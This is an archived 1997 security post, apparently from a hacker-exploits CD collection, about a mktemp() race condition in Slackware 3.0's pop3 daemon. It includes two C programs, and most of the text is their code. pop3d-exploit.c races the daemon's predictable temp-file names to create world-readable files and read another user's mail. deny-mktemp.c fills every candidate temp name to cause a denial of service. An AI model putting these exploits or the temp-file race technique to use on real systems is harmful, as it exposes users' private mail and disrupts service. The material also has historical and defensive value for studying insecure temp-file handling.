home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~1.asc next >
Encoding:
Text File  |  1997-03-11  |  4.4 KB  |  148 lines

  1.  
  2.  
  3.  
  4.  
  5.    As explained before in the mailx security post, there is a problem with
  6.  
  7. usage of mktemp() in many programs.  This is a follow-up to that, demonstrating
  8.  
  9. the generic denial of service attack and a race condition attack on linux's
  10.  
  11. Slackware 3.0 pop3 mail daemon.  Refer to the original mailx post for 
  12.  
  13. information on the security concerns with the use of mktemp().
  14.  
  15.    Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable
  16.  
  17. when pop client connects to the machine at the point a correct password for
  18.  
  19. a user is entered.  This allows you to read the contents of the mail spool of
  20.  
  21. a user when they connect with a pop client.
  22.  
  23.  
  24.  
  25.                    Program: pop3d (/usr/sbin/in.pop3d)
  26.  
  27. Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled
  28.  
  29.               Requirements: account on system, target user uses pop client
  30.  
  31.            Temporary Patch: disable pop3d
  32.  
  33.        Security Compromise: any user with an account can read mail of a user
  34.  
  35.                             using a pop client to read mail.
  36.  
  37.                     Author: Dave M. (davem@cmu.edu)
  38.  
  39.                   Synopsis: The predictability of mktemp() is exploited to
  40.  
  41.                             create the temporary files after the filenames
  42.  
  43.                             have been determined but before they are actually
  44.  
  45.                             created, allowing the mail being dumped to those
  46.  
  47.                             temporary files to be read by the creator of the
  48.  
  49.                             files.
  50.  
  51.  
  52.  
  53. pop3d-exploit.c:
  54.  
  55. /* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d 
  56.  
  57.    under Slackware 3.0), which can then be read by the program. 
  58.  
  59.    This race condition is NOT always successful, it may take extreme conditions
  60.  
  61.    to ensure a high probability of success.
  62.  
  63.  
  64.  
  65.    Dave M. (davem@cmu.edu)
  66.  
  67.  */
  68.  
  69.  
  70.  
  71. #include <stdio.h>
  72.  
  73. #include <sys/stat.h>
  74.  
  75. #include <sys/types.h>
  76.  
  77. #include <fcntl.h>
  78.  
  79.  
  80.  
  81. main(int argc, char **argv)
  82.  
  83. {
  84.  
  85.   int race;
  86.  
  87.   int i;
  88.  
  89.   char fname[80], tmpf[80];    /* hold filename */
  90.  
  91.   
  92.  
  93.   umask(0);
  94.  
  95.   
  96.  
  97.   if(argc<1)
  98.  
  99.     {
  100.  
  101.       printf("pop3 racer\nSyntax: %s process-id\n",argv[0]);
  102.  
  103.       return -1;
  104.  
  105.     }
  106.  
  107.   
  108.  
  109.   /* create tmp file to race creating */
  110.  
  111.   strcpy(tmpf,"/tmp/pop3");
  112.  
  113.   for(i=strlen(argv[1]);i<6;i++) 
  114.  
  115.     strcat(tmpf,"0");
  116.  
  117.   strcat(tmpf,argv[1]);
  118.  
  119.   tmpf[9] = 'a';
  120.  
  121.     
  122.  
  123.   race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  124.  
  125.  
  126.  
  127.   while(1)  
  128.  
  129.     {
  130.  
  131.       rename(tmpf,"/tmp/pop.exploit");
  132.  
  133.       if(rename("/tmp/pop.exploit",tmpf) < 0)
  134.  
  135.     {
  136.  
  137.       printf("race lost - file created.\n"); /* catch 1/2 the losses */
  138.  
  139.       break;
  140.  
  141.     }
  142.  
  143.     }
  144.  
  145. }
  146.  
  147.  
  148.  
  149.                    Program: Any with termination on mktemp() failure
  150.  
  151. Affected Operating Systems: Any with predictable mktemp() return values
  152.  
  153.               Requirements: write access to directory temp files written to
  154.  
  155.        Security Compromise: denial of service
  156.  
  157.                     Author: Dave M. (davem@cmu.edu)
  158.  
  159.                   Synopsis: Many operating systems have an extremely limited
  160.  
  161.                             temporary file creation algorithm, which results
  162.  
  163.                             in denial of service attacks on any program that
  164.  
  165.                             uses them exceedingly easy.
  166.  
  167.  
  168.  
  169.  
  170.  
  171. deny-mktemp.c:
  172.  
  173. /* This programs opens the complete set of temporary files tested with mktemp()
  174.  
  175.    for a given template (with 6 X's), usually resulting in the program
  176.  
  177.    terminating upon failure to find an open file.  In pop3d, this prevents a
  178.  
  179.    pop client from reading their mail.
  180.  
  181.  
  182.  
  183.    Dave M. (davem@cmu.edu)
  184.  
  185. */
  186.  
  187.  
  188.  
  189. #include <unistd.h>
  190.  
  191. #include <stdio.h>
  192.  
  193. #include <sys/types.h>
  194.  
  195. #include <sys/stat.h>
  196.  
  197. #include <fcntl.h>
  198.  
  199.  
  200.  
  201. /* template found in program's header file, minus X's */
  202.  
  203. #define TEMPLATE "/tmp/pop3"
  204.  
  205.  
  206.  
  207. main(int argc, char **argv)
  208.  
  209. {
  210.  
  211.  long int i,j;
  212.  
  213.  char fname[20];
  214.  
  215.   
  216.  
  217.  if(argc<2)
  218.  
  219.    {
  220.  
  221.      printf("Syntax: %s process-id\n");
  222.  
  223.      return -1;
  224.  
  225.    }
  226.  
  227.  
  228.  
  229.   j = strlen(TEMPLATE);
  230.  
  231.  
  232.  
  233.   strcpy(fname,TEMPLATE);
  234.  
  235.   for(i=strlen(argv[1]);i<6;i++) 
  236.  
  237.     strcat(fname,"0");
  238.  
  239.   strcat(fname,argv[1]);
  240.  
  241.  
  242.  
  243.  for(i=0;i<26;i++)
  244.  
  245.    {
  246.  
  247.      fname[j] = 'a' + i;
  248.  
  249.      creat(fname,O_WRONLY | O_CREAT); 
  250.  
  251.    }
  252.  
  253.  
  254.  
  255.  for(i=0;i<26;i++)
  256.  
  257.    {
  258.  
  259.      fname[j] = 'A' + i;
  260.  
  261.      creat(fname,O_WRONLY | O_CREAT);
  262.  
  263.    }
  264.  
  265.  
  266.  
  267.  for(i=0;i<9;i++)
  268.  
  269.    {
  270.  
  271.      fname[j] = '0' + i;
  272.  
  273.      creat(fname,O_WRONLY | O_CREAT);
  274.  
  275.    }
  276.  
  277.  
  278.  
  279. }
  280.  
  281.  
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.